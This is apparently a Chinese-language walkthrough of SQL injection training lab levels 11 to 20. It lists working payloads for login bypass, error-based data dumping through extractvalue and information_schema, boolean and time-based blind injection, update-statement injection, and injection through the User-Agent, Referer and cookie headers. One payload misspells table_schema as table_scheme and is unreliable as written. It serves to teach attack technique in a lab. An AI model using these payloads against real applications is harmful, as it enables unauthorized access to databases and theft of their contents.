LESS11:
这里是post型注入,登录
admin' or '1 即可
LESS12:
括号闭合方式不同,"双引号闭合,
admin" )or 1#即可
LESS13:
admin' 报错了,那么可以尝试报错注入
admin') or 1# 显示登录成功,admin') or 0#登录失败,可以布尔盲注
报错注入:
admin') order by 2# 正常
admin') order by 3# 不正常
admin') union select 1,extractvalue(1,concat(0x7e,(select user()),0x7e)) # 结果如下图
进一步dump数据也是可以的
admin') union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_scheme = 'security'),0x7e))#
数据太多只需要字符串截取函数截取一下就可以
admin') union select 1,extractvalue(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_scheme = 'security'),1,8),0x7e))#
LESS14:
闭合括号方式和13不同为",其他相同,盲注和报错注入都可以
LESS15:
这一关没有报错提示,因此不能报错注入,括号闭合为'单引号,
a' or 1# success
a' or 0# filed
因此可以bool盲注或者时间盲注
LESS16:
这一关和15一样,只是括号闭合方式为 ")
布尔盲注或者延时都可以
LESS17:
update型注入,修改密码处,password处随手' 单引号报错了,此时回显了逻辑
源码里面对uname进行了过滤
所以uname肯定不能注入了
并且在查到已经存在的用户才能够代入update进行更新,因此,所以用户名才要填admin
这里密码最好存的时候hash一下就好了,直接代入肯定有问题,update型注入和select 注入语法差不多,当然这里肯定可以用报错注入,但是不能够布尔盲注,因为这里update不会显示更新失败,除非是语句执行错误,
这里是没有逻辑的正确和错误的,所以盲注只能用延时注入,password 直接' or sleep(5)#即可,其他payload都是一样的
LESS18:
这一关考的是http header头注入,比如这里可以对ua进行注入:
LESS19:
对refeer进行诸注入,和18一样的
LESS20:
这里把第一次的用户名设置到cookie里,第二次又取cookie里的用户名进行了查询,所以cookie可以注入